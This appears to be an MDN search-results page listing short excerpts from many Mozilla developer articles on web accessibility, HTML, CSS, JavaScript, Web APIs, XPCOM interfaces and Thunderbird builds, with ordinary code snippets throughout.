we traditionally think of this as being about people with disabilities, but the practice of making sites accessible also benefits other groups such as those using mobile devices, or those with slow network connections.
...just as it is wrong to exclude someone from a physical building because they are in a wheelchair (modern public buildings generally have wheelchair ramps or elevators), it is also not right to exclude someone from a website because they have a visual impairment.
...providing accessible sites is part of the law in some countries, which can open up some significant markets that otherwise would not be able to use your services or buy your products.
...And 32 more matches
Tips for authoring fast-loading HTML pages - Learn web development
this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories.
... optimizing page load performance is not just for content which will be viewed by narrowband dial-up or mobile device visitors.
... reducing page weight through the elimination of unnecessary whitespace and comments, commonly known as minimization, and by moving inline script and css into external files, can improve download performance with minimal need for other changes in the page structure.
...And 32 more matches
HTML table basics - Learn web development
LearnHTMLTablesBasics
overview: tables next this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.
... tables are very commonly used in human society, and have been for a long time, as evidenced by this us census document from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web.
...this was commonly used because css support across browsers used to be terrible; table layouts are much less common nowadays, but you might still see them in some corners of the web.
...And 32 more matches
Object building practice - Learn web development
objective: to get some practice with using objects and object-oriented techniques in a real world context.
...our little balls will bounce around on the screen, and change color when they touch each other.
...along the way we'll make use of some nifty objects, and show you a couple of nice techniques like bouncing balls off walls, and checking whether they have hit each other (otherwise known as collision detection).
...And 32 more matches
Introduction to the server side - Learn web development
in this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
... it can even allow interaction with users of the site, sending notifications and updates via email or through other channels.
... all of these capabilities enable much deeper engagement with users.
...And 32 more matches
Understanding client-side JavaScript frameworks - Learn web development
as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.
...we are not aiming to exhaustively teach you everything you need to know about react/reactdom, or vue, or some other specific framework; the framework teams' own docs (and other resources) do that job already.
... instead, we want to back up and first answer more fundamental questions such as: why should i use a framework?
...And 32 more matches
Debugging on Mac OS X
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on macos using xcode.
...macos 10.15 went further, requiring applications to be notarized with hardened runtime enabled in order to launch (ignoring workarounds.) when run on earlier macos versions, notarization and hardened runtime settings have no effect.
...as a result, it is not possible to attach a debugger to these official firefox releases on macos 10.14+ without disabling system integrity protection (sip).
...And 32 more matches
nsIZipReader
inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/zip-reader;1.
... to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8.
... this can mismatch characters in the nsizipreader api.
...And 32 more matches
Storage
the api is currently "unfrozen", which means it is subject to change at any time; in fact, it has changed somewhat with each release of firefox since it was introduced, and will likely continue to do so for a while.
... note: storage is not the same as the dom:storage feature which can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions).
... open a connection to the database of your choice - mozistorageconnection.
...And 32 more matches
Drawing and Event Handling - Plugins
« previousnext » this chapter tells how to determine whether a plug-in instance is windowed or windowless, how to draw and redraw plug-ins, and how to handle plug-in events.
...it is drawn in a target called a drawable, which corresponds to either the browser window or an off-screen bitmap.
...maximum window size */ uint32 height; nprect cliprect; /* clipping rectangle in port coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* whether this is a window or a drawable */ } npwindow; the window parameter is a platform-specific handle to a native window element in the browser window hierarchy on windows and unix.
...And 32 more matches
Drag Operations - Web APIs
here is an example which allows a section of content to be dragged.
... within the dragstart event, you can specify the drag data, the feedback image, and the drag effects, all of which are described below.
...(the default image and drag effects are suitable in most situations.) drag data all drag events have a property called datatransfer which holds the drag data (datatransfer is a datatransfer object).
...And 32 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
firefox 70 implemented the two-value syntax for the display property, which is part of the css display module level 3.
... this guide explains the change to the syntax, including the reasoning behind this change.
... what happens when we change the value of the display property?
...And 32 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked.
... these provide useful hints to allow the browser to choose the most appropriate icon available.
...take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading content with rel="preload" for more details), with the as attribute indicating the specific class of content being fetched.
...And 32 more matches
String.prototype.replace() - JavaScript
the replace() method returns a new string with some or all matches of a pattern replaced by a replacement.
... the pattern can be a string or a regexp, and the replacement can be a string or a function to be called for each match.
... the original string is left unchanged.
...And 32 more matches
String - JavaScript
the string object is used to represent and manipulate a sequence of characters.
...some of the most-used operations on strings are to check their length, to build and concatenate them using the + and += string operators, checking for the existence or location of substrings with the indexof() method, or extracting substrings with the substring() method.
... creating strings strings can be created as primitives, from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 = new string("a string object"); string primitives and string objects can be used interchangeably in most situations.
...And 32 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
it's just a shorthand used initially by google for the concept of creating a flexible, adaptable app using only web technologies.
... pwas are web apps developed using a number of specific technologies and standard patterns to allow them to take advantage of both web and native app features.
... it's not a brand new concept—such ideas have been revisited many times on the web platform with various approaches in the past.
...And 32 more matches
2D maze game with device orientation - Game development
you can check it out on github where it’s open sourced, read the online documentation and go through the big collection of examples.
... you can open the index file in your favourite browser to launch the game and try it.
...you can create this yourself if you want to follow along: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>cyber orb demo</title> <style> body { margin: 0; background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body...
...And 31 more matches
Accessible multimedia - Learn web development
previous overview: accessibility next another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
... multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes).
... but don't despair — here we will help you navigate through the techniques available for making multimedia more accessible.
...And 31 more matches
Supporting older browsers - Learn web development
however, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used.
...this article explains how to use modern web techniques without locking out users of older technology.
...before deciding on the approach to take, find out the number of visitors coming to your site using older browsers.
...And 31 more matches
Web fonts - Learn web development
this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited.
...you can use the font stack to specify preferable fonts, followed by web-safe alternatives, followed by the default system font, but this adds overhead in terms of testing to make sure that your designs look ok with each font, etc.
... web fonts but there is an alternative, which works very well, right back to ie version 6.
...And 31 more matches
Old Thunderbird build
while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram.
... build prerequisites depending on your operating system you will need to carry out a different process to prepare your machine.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
...And 31 more matches
Cross Process Object Wrappers
this document describes cross process object wrappers (cpows), which enable chrome code to synchronously access content in multiprocess firefox.
... in multiprocess firefox, chrome code runs in a different process from web content.
... so chrome code can't directly interact with web content: instead, it must factor out the code that interacts with web content into separate scripts that are called frame scripts.
...And 31 more matches
Localizing without a specialized tool
from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
...if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool, this document (along with create a new localization) will enable you to learn just what needs to be done.
... before we start, did you make sure to install mercurial and confirm that you have set up the proper build environment on your local machine?
...And 31 more matches
PKCS #11 Module Specs
each name/value pair is separated by a blank value.
... values can contain any printable ascii value, including utf8 characters.
...the value is considered quoted if the first character after the '=' is ', ", {, [, or <.
...And 31 more matches
Places utilities for JavaScript
its not an interface, and as such it will never be frozen, but it provides some easy to use functions that can save you from reinventing the wheel and cluttering up your own classes/functions when you need it.
... post_data_anno - i need to clarify here, but i think this is the name of the annotation that stores information for keyword searches from a bookmark.
... lmanno_feeduri - need to clarify here too, but i think for each livemark, there is an bookmark which contains an annotation storing the associated feed uri.
...And 31 more matches
XPCOM array guide
MozillaTechXPCOMGuideArrays
introduction array types mozilla has many array classes because each array is optimized for a particular usage pattern.
... nsimutablearray - a scriptable container for scriptable xpcom objects, which allows addition and removal of member objects.
... nstarray<t> - a c++ class which provides a typesafe container for objects or primitive types (pointers, integers, and so on).
...And 31 more matches
Using the Payment Request API - Web APIs
the payment request api provides a browser-based method of connecting users and their preferred payment systems and platforms to merchants that they want to pay for goods and services.
...this takes two mandatory parameters and one option parameter: methoddata — an object containing information concerning the payment provider, such as what payment methods are supported, etc.
... details — an object containing information concerning the specific payment, such as the total payment amount, tax, shipping cost, etc.
...And 31 more matches
Using the Web Animations API - Web APIs
we no longer need to rely on dom-heavy techniques such as writing css properties and scoping classes onto elements to control playback direction.
... browser support the basic web animations api features discussed in this article are available by default in firefox 48+ and chrome 36+.
... safari supports web animations in its technology preview version and there is also a handy polyfill that tests for feature support and adds it where necessary.
...And 31 more matches
Web applications and ARIA FAQ - Accessibility
wai-aria is the accessible rich internet applications specification from the web accessibility initiative at the w3c.
... aria provides a means to make web applications and widgets more accessible to a diverse range of users, including those who use assistive technologies such as screen readers or magnifiers.
... aria provides additional semantics to describe the role, state, and functionality of many familiar user interface controls, such as menus, sliders, trees, and dialogs.
...And 31 more matches
Text labels and names - Accessibility
there are many situations in which a control, dialog, or other website feature should be given a descriptive name or label to allow users of assistive technologies to understand what its purpose is and to be able to understand and operate it correctly.
... there are a number of different types of problems in this category, found in different contexts, and each has its own solution.
... use alt attribute to label area elements that have the href attribute in image maps, give each <area> element an alt attribute containing a name that describes what resources the areas links to.
...And 31 more matches
Implementing feature detection - Learn web development
this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports.
... let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
... therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getcurrentposition(function(position) { // show the location on a map, perhaps using the google maps api }); } else { // give the user a choice of static maps instead perhaps } it is probably better to use an established feature detection library however, rather than writing your own all the time.
...And 30 more matches
Storage access policy: Block cookies from trackers
this policy is designed as an alternative to the older cookie policies, which have been available in firefox for many years.
...this documentation describes the policy that we intend to ship to firefox release users, but may not match what is implemented in the current release version of firefox.
... that's because we document new aspects of the policy as soon as they land in firefox nightly, our pre-release channel.
...And 30 more matches
Browser API
it currently works in (privileged) chrome code on firefox desktop (version 47 and above).
...should not reflect the frame hierarchy.
... api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface.
...And 30 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
an internationalized domain name (idn) is a domain/host name which uses non-ascii characters.
... until recently domain names allowed only a subset of 7-bit ascii characters.
... many of the european languages use the basic latin alphabet with additional accented characters for writing but they were not able to use them in domain names.
...And 30 more matches
OS.File for the main thread
using os.file from a jsm to import os.file into your chrome code, add the following line at the start of your script: components.utils.import("resource://gre/modules/osfile.jsm") promises before using os.file from the main thread, you need some understanding of the promise library.
... the content is read asynchronously.
... example: rename a file you have to use os.file.move to rename a file: let promise = os.file.move("oldname.txt", "newname.txt", {nooverwrite:true}); here's a working example which renames test.txt to testrenamed.txt if the file is located in directory c:\jean\ var promise = os.file.move(os.path.join('c:', 'jean', 'test.txt'), os.path.join('c:', 'jean', 'testrenamed.txt')); promise.then( function() { console.log('rename successful') }, function(arejectreason) { console.log('rename failed, arejectreason = ', arejectreason) } ) the nooverwrite ...
...And 30 more matches
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
...the tar.gz or zip file expands to an nss-3.12 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12 requires.
...nss 3.12 libraries have the following versions: sqlite3: 3.3.17 nssckbi: 1.70 softokn3 and freebl3: 3.12.0.3 other nss libraries: 3.12.0.3 new in nss 3.12 3 new shared library are shipped with nss 3.12: nssutil sqlite nssdbm 1 new include file is shipped with nss3.12: utilrename.h new functions in the nss shared library: cert_checknamespace (see cert.h) cert_encodecertpoliciesextension (see cert.h) cert_encodeinfoaccessextension (see cert.h) cert_encodeinhibitanyextension (see cert.h) cert_encodenoticereference (see cert.h) cert_encodepolicyconstraintsextension (see cert.h) cert_encodepolicymappingextension (see cert.h) cert_encodesubjectkeyid (see certdb/cert.h) cert_encodeusernotice (see cert.h) cert_findcrlentryreason...
...And 30 more matches
GCIntegration - SpiderMonkey Redirect 1
the spidermonkey garbage collector (gc) will be changing a lot in the future.
... this page is intended to explain the changes that are happening, with a focus on how they will affect gecko code that uses jsapi.
... overview before digging too deep, here are some quick rules of thumb for how to write code that will work smoothly with the gc regardless of changes that happen in the future.
...And 30 more matches
Parser API
this makes it easier to write tools in javascript that manipulate javascript source programs, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc.
... additional options may be provided via the options object, which can include any of the following properties: loc boolean default: true when loc is true, the parser includes source location information in the returned ast nodes.
... builder builder default: null a builder object, which can be used to produce ast nodes in custom data formats.
...And 30 more matches
Accessing the Windows Registry Using XPCOM
support in firefox 1.5 or newer in firefox 1.5, a new api was added, nsiwindowsregkey, which provides extensive registry functionality.
... a simple example here's a simple example showing how to read your windows productid: var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion", wrk.access_read); var id = wrk.readstringvalue("productid"); wrk.close(); this example, while simple, shows several important things about using the interface.
... notice in the open() call that the root key to use is specified using the named constants available on the nsiwindowsregkey interface, in this case root_key_local_machine, which corresponds to hkey_local_machine in the windows registry.
...And 30 more matches
Console messages - Firefox Developer Tools
most of the web console is occupied by the message display pane: each message is displayed as a separate row: time the time the message was recorded.
... by default, the console is cleared each time you navigate to a new page or reload the current page.
... the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again.
...And 30 more matches
BasicCardResponse - Web APIs
the basiccardresponse dictionary (related to the payment request api, although defined in the basic card payment spec) defines an object structure for payment response details such as the number/expiry date of the card used to make the payment, and the billing address.
... examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object containing further options.
... }) .catch(function(err) { // do something with the error from request.show().
...And 30 more matches
WebGL constants - Web APIs
each vertex connects to the one after it.
...each set of two vertices is treated as a separate line segment.
...each set of three vertices creates a separate triangle.
...And 30 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
we’ll find out which specifications you also need to take notice of if you want to learn flexbox, and find out why flexbox is different to some other modules.
...as css became a more feature rich language, maintaining one huge specification became problematic, with different parts of css moving on at different speeds.
...these modules relate to each other, and are at different stages of development.
...And 30 more matches
Creating a cross-browser video player - Developer guides
note: you can see the example running live, or check out the source code on github.
...fer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>&copy; blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript.
... a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file.
...And 30 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
valid on <link>, <a>, <area>, and <form>, the supported values depend on the element on which the attribute is found.
... the type of relationships is given by the value of the rel attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords, which are listed in the following table.
... values for the rel attribute, and the elements for which each is relevant rel value description <link> <a> and <area> <form> alternate alternate representations of the current document.
...And 30 more matches
Redirections in HTTP - HTTP
url redirection, also known as url forwarding, is a technique to give more than one url address to a page, a form, or a whole web site/application.
... redirects accomplish numerous goals: temporary redirects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc.
...they imply that the original url should no longer be used, and replaced with the new one.search engine robots, rss readers, and other crawlers will update the original url for the resource.
...And 30 more matches
Groups and ranges - JavaScript
groups and ranges indicate groups and ranges of expression characters.
... types the following section is also duplicated on this cheatsheet.
... characters meaning x|y matches either "x" or "y".
...And 30 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
they finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline.
...this introduces a different approach from traditional web programming — the api is non-blocking, and can send and receive communication between different contexts.
... you are able to give a service worker something to work on, and receive the result whenever it is ready using a promise-based approach.
...And 30 more matches
Other form controls - Learn web development
previous overview: forms next we now look at the functionality of non-<input> form elements in detail, from other control types such as drop-down lists and multi-line text fields, to other useful form features such as the <output> element (which we saw in action in the previous article), and progress bars.
...(using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text).
... the following screenshots show default, focused, and disabled <textarea> elements in firefox 71 and safari 13 on macos, and edge 18, yandex 14, firefox 71 and chrome 79 on windows 10.
...And 29 more matches
Componentizing our React app - Learn web development
defining our first component defining a component can seem tricky until you have some practice, but the gist is: if it represents an obvious "chunk" of your app, it's probably a component if it gets reused often, it's probably a component.
... that second bullet is especially valuable: making a component out of common ui elements allows you to change your code in one place and see those changes everywhere that component is used.
... mkdir src/components touch src/components/todo.js our new todo.js file is currently empty!
...And 29 more matches
Simple Thunderbird build
while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram.
... build prerequisites depending on your operating system you will need to carry out a different process to prepare your machine.
... windows build prerequisites gnu/linux build prerequisites macos build prerequisites mapi headers on windows: check that the mapi header files from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files (except mapi.h) are not bundled with visual studio 2017 (windows sdk 10).
...And 29 more matches
Localizing with Mercurial
mercurial allows localizers to work locally (on their machines) and then push (an hg term) changes to a remote repository, which usually is hosted on the mozilla servers (hg.mozilla.org).
...if the documentation is incomplete or you have questions, please drop by the #l10n or #hg channels on irc.mozilla.org.
...choose the appropriate command for your distribution and make sure to run as root.
...And 29 more matches
Release phase
here, we'll continue to stay true to the original intent of this guide and only present you with the technical information you need to become an official release.
...depending on which branch you work on, the url of your repository might look like this: http://hg.mozilla.org/releases/l10n-central/x-testing if you followed the koala or plain text approach, you probably already have a local clone of the repository.
... otherwise, in order to be able to make any changes to the localization files, you will need to clone the repository on your local machine and work in the local clone.
...And 29 more matches
Gecko object attributes
this is in contrast to text attributes, which apply only to substrings in a text object.
... applied to: any role which related dom node has id attribute tag the actual markup tag used to create this element (also used in xul).
...this may provide more information than the mapped role, which is best-fit.
...And 29 more matches
Using XPCOM Components
in fact, virtually all of the functionality that you associate with a browser - navigation, window management, managing cookies, bookmarks, security, searching, rendering, and other features - is defined in xpcom components and accessed by means of those component interfaces.
... this chapter demonstrates how mozilla uses some of these xpcom objects, such as the cookiemanager, and shows how access to the weblock component will be defined.
... the functionality of the cookiemanager component is available through the nsicookiemanager interface, which is comprised of the public methods in the table below.
...And 29 more matches
NS ConvertASCIItoUTF16 external
class declaration method overview constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find ...
... rfind findchar rfindchar appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void ns_convertasciitoutf16_external(const nsacstring&) - source parameters nsacstring& astr void ns_convertasciitoutf16_external(const char*, pruint32) - source parameters char* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - sourc...
...And 29 more matches
NS ConvertUTF8toUTF16 external
class declaration method overview constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find ...
... rfind findchar rfindchar appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void ns_convertutf8toutf16_external(const nsacstring&) - source parameters nsacstring& astr void ns_convertutf8toutf16_external(const char*, pruint32) - source parameters char* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source ...
...And 29 more matches
nsDependentString external
class declaration dependent strings method overview constructors rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowe...
...rcaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void nsdependentstring_external() - source void nsdependentstring_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength rebind void rebind(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source pa...
...And 29 more matches
nsDependentSubstring external
class declaration substrings method overview constructors rebind beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare(const prunichar*, print32 (*) compare(const nsastring&, print32 (*) equals(const prunichar*, print32 (*) equals(const nsastring&, print32 (*) operator< operator...
...<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find(const nsastring&, print32 (*) find(const nsastring&, pruint32, print32 (*) find rfind(const nsastring&, print32 (*) rfind(const nsastring&, print32, print32 (*) rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
... methods constructors void nsdependentsubstring_external() - source void nsdependentsubstring_external(const prunichar*, pruint32) - source parameters prunichar astart pruint32 alength void nsdependentsubstring_external(const nsastring&, pruint32) - source parameters nsastring astr pruint32 astartpos void nsdependentsubstring_external(const nsastring&, pruint32, pruint32) - source parameters nsastring astr pruint32 astartpos pruint32 alength rebind void rebind(const prunichar*, pruint32) - source parameters prunichar astart pruint32 alength beginreading pruint32 beginreadi...
...And 29 more matches
nsString external
class declaration basic strings method overview constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral ...
... find rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
... methods constructors void nsstring_external() - source void nsstring_external(const nsstring_external&) - source parameters nsstring_external& astring void nsstring_external(const nsastring&) - source parameters nsastring& areadable void nsstring_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astrin...
...And 29 more matches
nsINavBookmarkObserver
toolkit/components/places/nsinavbookmarksservice.idlscriptable this interface is an observer for bookmark changes.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) method overview void onbeforeitemremoved(in long long aitemid, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 folder, in print64 oldparent, in print32 oldindex, in print64 newparent, in print32 newindex); obsolete since gecko 1.9 ...
... void onfolderremoved(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onitemadded(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); void onitemchanged(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onitemmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, i...
...And 29 more matches
nsIURI
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri.
... to create an nsiuri object, you should use nsiioservice.newuri(), like this: function makeuri(aurl, aorigincharset, abaseuri) { var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); return ioservice.newuri(aurl, aorigincharset, abaseuri); } components of a uri prepath path scheme userpass host port ref ftp :// username@password @ hostname : portnumber /pathname?query=value #ref method overview nsiuri clone(); nsiuri cloneignoringref(); boolean equals(in nsiuri other); boolean equalsexceptref(in nsiuri other); autf8string resolve(in autf8string relativepath...
...); boolean schemeis(in string scheme); attributes attribute type description asciihost acstring the uri host with an ascii compatible encoding.
...And 29 more matches
FileSystemEntry - Web APIs
check the browser compatibility section for details.
...this interface serves as a base class for the filesystemfileentry and filesystemdirectoryentry interfaces, which provide features specific to file system entries representing files and directories, respectively.
...it also introduces a new url scheme: filesystem:.
...And 29 more matches
IDBIndex - Web APIs
WebAPIIDBIndex
idbindex interface of the indexeddb api provides asynchronous access to an index in a database.
...each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store.
... when the object store changes, all indexes that refers to the object store are automatically updated.
...And 29 more matches
Node - Web APIs
WebAPINode
the dom node interface is an abstract base class upon which many other dom api objects are based, thus letting those object types to be used similarly and often interchangeably.
... as an abstract class, there is no such thing as a plain node object.
...these include attr, characterdata (which text, comment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference.
...And 29 more matches
Using Pointer Events - Web APIs
this guide demonstrates how to use pointer events and the html <canvas> element to build a multi-touch enabled drawing application.
... this example is based on the one in the touch events overview, except it uses the pointer events input event model.
... definitions surface a touch-sensitive surface.
...And 29 more matches
Using the Screen Capture API - Web APIs
this works with at least chrome, edge, and firefox.
... capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents.
... starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
...And 29 more matches
Web Authentication API - Web APIs
this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
... in their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server.
...the authenticator may be embedded into an operating system, such as windows hello, or may be a physical token, such as a usb or bluetooth security key.
...And 29 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
this article gives an outline of the main features of flexbox, which we will be exploring in more detail in the rest of these guides.
...this can be contrasted with the two-dimensional model of css grid layout, which controls columns and rows together.
... the main axis the main axis is defined by flex-direction, which has four possible values: row row-reverse column column-reverse should you choose row or row-reverse, your main axis will run along the row in the inline direction.
...And 29 more matches
Variable fonts guide - CSS: Cascading Style Sheets
standard (or static) fonts in the past, a typeface would be produced as a number of individual fonts, and each font would represent one specific width/weight/style combination.
